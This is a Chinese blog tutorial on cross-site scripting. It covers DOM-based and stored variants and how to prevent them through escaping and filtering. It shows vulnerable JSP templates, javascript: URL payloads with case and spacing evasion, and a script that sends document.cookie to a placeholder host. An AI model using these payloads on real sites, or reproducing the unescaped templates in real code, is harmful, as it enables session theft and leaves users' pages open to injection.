天天看點

日拱一卒 | 什麼是XSS 攻擊,預防

XSS 攻擊,即跨站腳本攻擊(Cross Site Scripting),它是 web 程式中常見的漏洞。

原理

攻擊者往 web 頁面裡插入惡意的 HTML 代碼(Javascript、css、html 标簽等),當使用者浏覽該頁面時,嵌入其中的 HTML 代碼會被執行,進而達到惡意攻擊使用者的目的。如盜取使用者 cookie 執行一系列操作,破壞頁面結構、重定向到其他網站等。

種類

1、DOM Based XSS:基于網頁 DOM 結構的攻擊

例如:

  • input 标簽 value 屬性指派
//jsp
<input type="text" value="<%= getParameter("content") %>">
           

通路

http://xxx.xxx.xxx/search?content=<script>alert('XSS');</script>    //彈出 XSS 字樣
http://xxx.xxx.xxx/search?content=<script>window.open("xxx.aaa.xxx?param="+document.cookie)</script>    //把目前頁面的 cookie 發送到 xxxx.aaa.xxx 網站
           
  • 利用 a 标簽的 href 屬性的指派
//jsp
<a href="escape(<%= getParameter("newUrl") %>)">跳轉...</a>
           

通路

http://xxx.xxx.xxx?newUrl=javascript:alert('XSS')    //點選 a 标簽就會彈出 XSS 字樣
變換大小寫
http://xxx.xxx.xxx?newUrl=JAvaScript:alert('XSS')    //點選 a 标簽就會彈出 XSS 字樣
加空格
http://xxx.xxx.xxx?newUrl= JavaScript :alert('XSS')    //點選 a 标簽就會彈出 XSS 字樣
           
  • image 标簽 src 屬性,onload、onerror、onclick 事件中注入惡意代碼

2、Stored XSS:存儲式XSS漏洞

<form action="save.do">
	<input name="content" value="">
</form>
           

輸入

<script>window.open("xxx.aaa.xxx?param="+document.cookie)</script>

,送出

當别人通路到這個頁面時,就會把頁面的 cookie 送出到 xxx.aaa.xxx,攻擊者就可以擷取到 cookie

預防思路

  • web 頁面中可由使用者輸入的地方,如果對輸入的資料轉義、過濾處理
  • 背景輸出頁面的時候,也需要對輸出内容進行轉義、過濾處理(因為攻擊者可能通過其他方式把惡意腳本寫入資料庫)
  • 前端對 html 标簽屬性、css 屬性指派的地方進行校驗

注意:

各種語言都可以找到 escapeHTML() 方法可以轉義 html 字元。

<script>window.open("xxx.aaa.xxx?param="+document.cookie)</script>
轉義後
%3Cscript%3Ewindow.open%28%22xxx.aaa.xxx%3Fparam%3D%22+document.cookie%29%3C/script%3E
           

需要考慮項目中的一些要求,比如轉義會加大存儲。可以考慮自定義函數,部分字元轉義。

繼續閱讀